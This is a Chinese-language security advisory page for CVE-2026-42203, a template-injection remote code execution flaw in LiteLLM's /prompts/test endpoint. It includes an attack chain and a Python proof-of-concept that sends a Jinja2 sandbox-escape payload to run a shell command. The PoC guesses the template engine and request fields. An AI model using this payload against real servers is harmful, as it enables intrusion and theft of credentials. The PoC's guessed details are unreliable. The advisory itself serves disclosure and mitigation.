IPBUF安全漏洞报告
English
CVE-2026-42203 CVSS 8.8 高危

CVE-2026-42203 LiteLLM远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42203
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LiteLLM

相关标签

RCELiteLLMTemplate InjectionCVE-2026-42203Sandbox Escape

漏洞概述

LiteLLM是一个用于调用LLM API的代理服务器。在1.80.5至1.83.7之前的版本中,其`/prompts/test`端点存在严重安全缺陷。该端点接受用户输入的模板并在无沙箱环境下渲染,导致持有有效API密钥的攻击者可通过构造恶意模板实现远程代码执行,从而窃取环境敏感信息或控制服务器。

技术细节

该漏洞源于LiteLLM的`POST /prompts/test`接口未对用户提供的提示词模板进行沙箱隔离处理。攻击者仅需持有有效的代理API密钥,即可向该接口发送包含恶意代码的模板数据。由于模板引擎直接执行渲染逻辑,攻击者可利用模板语法注入Python代码,从而在LiteLLM代理进程上下文中实现远程代码执行(RCE)。这使得攻击者能够读取进程环境变量(如数据库密码、第三方API密钥)或在宿主机上执行系统命令,造成严重的数据泄露和服务器被控风险。

攻击链分析

STEP 1
reconnaissance
Identify a target running LiteLLM version between 1.80.5 and 1.83.7.
STEP 2
Authentication
Obtain a valid LiteLLM Proxy API key, as the endpoint requires authentication.
STEP 3
Exploitation
Send a crafted POST request to /prompts/test containing a malicious template payload designed to execute arbitrary code.
STEP 4
Execution
The LiteLLM server renders the template without sandboxing, executing the attacker's code within the server process.
STEP 5
Post-Exploitation
Read environment variables to steal secrets (e.g., DB creds, API keys) or run system commands to maintain access.

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-42203 # Target: LiteLLM < 1.83.7 target_url = "http://target-host:4000/prompts/test" api_key = "YOUR_VALID_API_KEY" # Needs a valid key # Payload to execute OS command (e.g., 'id') using template injection # Assuming Jinja2 or similar template engine context malicious_template = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } data = { "prompt_template": malicious_template } try: response = requests.post(target_url, json=data, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

LiteLLM >= 1.80.5, < 1.83.7

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或WAF规则禁用对`/prompts/test`端点的访问,并严格审查API密钥的权限分配,确保仅受信任的客户端持有密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表